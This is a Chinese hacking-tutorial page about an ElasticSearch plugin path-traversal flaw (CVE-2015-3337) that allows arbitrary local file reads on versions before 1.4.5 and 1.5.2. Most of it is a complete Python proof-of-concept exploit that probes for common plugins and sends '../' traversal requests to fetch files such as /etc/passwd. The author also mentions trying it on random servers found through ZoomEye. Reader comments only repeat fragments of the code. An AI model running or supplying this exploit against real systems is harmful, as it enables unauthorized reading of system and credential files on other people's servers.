ElasticSearch曝本地任意文件读取漏洞

ElasticSearch曝本地任意文件读取漏洞

黑客教程访客2021-10-11 23:41:009804A+A-

近期在exploit-db上曝出了ElasticSearch插件功能的目录遍历(Path Transversal)引起的本地任意文件读取漏洞,影响1.4.5和1.5.2之前所有版本。在zoomeye上随便找了几个试了下,发现漏洞的影响面积还挺大的。

漏洞利用(POC)

#!/usr/bin/python
# Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign
# Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5
# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net
# Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/
#
# Source: https://github.com/pandujar/elasticpwn/
 
import socket, sys
 
print "!dSR ElasticPwn - for CVE-2015-3337\n"
if len(sys.argv) <> 3:
        print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]
        sys.exit()
 
port = 9200 # Default ES http port
host = sys.argv[1]
fpath = sys.argv[2]
 
def grab(plugin):
        socket.setdefaulttimeout(3)
        s = socket.socket()
        s.connect((host,port))
        s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n"
            "Host: %s\n\n" % (plugin, fpath, host))
        file = s.recv(2048)
        print " [*] Trying to retrieve %s:" % fpath
        if ("HTTP/1.0 200 OK" in file):
            print "\n%s" % file
        else:
            print "[-] File Not Found, No Access Rights or System Not Vulnerable"
 
def pfind(plugin):
    try:
        socket.setdefaulttimeout(3)
        s = socket.socket()
        s.connect((host,port))
        s.send("GET /_plugin/%s/ HTTP/1.0\n"
            "Host: %s\n\n" % (plugin, host))
        file = s.recv(16)
        print "[*] Trying to find plugin %s:" % plugin
        if ("HTTP/1.0 200 OK" in file):
            print "[+] Plugin found!"
            grab(plugin)
            sys.exit()
        else:
            print "[-]  Not Found "
    except Exception, e:
        print "[-] Error connecting to %s: %s" % (host, e)
        sys.exit()
 
# Include more plugin names to check if they are installed
pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head']
 
for plugin in pluginList:
    pfind(plugin)
点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 4条评论
  • 忿咬旧谈2022-05-30 12:09:34
  • e        else:            print "[-] File Not Found, No Access Rights or System Not Vulnerable" def 
  • 怎忘好怪2022-05-30 18:21:55
  • host,port))        s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n"            "Host: %s\n\n" % (plugin, fpath, host))        file 
  • 离鸢氿雾2022-05-30 12:23:07
  • pluginList:    pfind(plugin)
  • 语酌酌锦2022-05-30 08:02:15
  • Ex: %s www.example.com /etc/passwd" % sys.argv[0]        sys.exit() port = 9200 # Default ES http porthost = sys.argv[

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理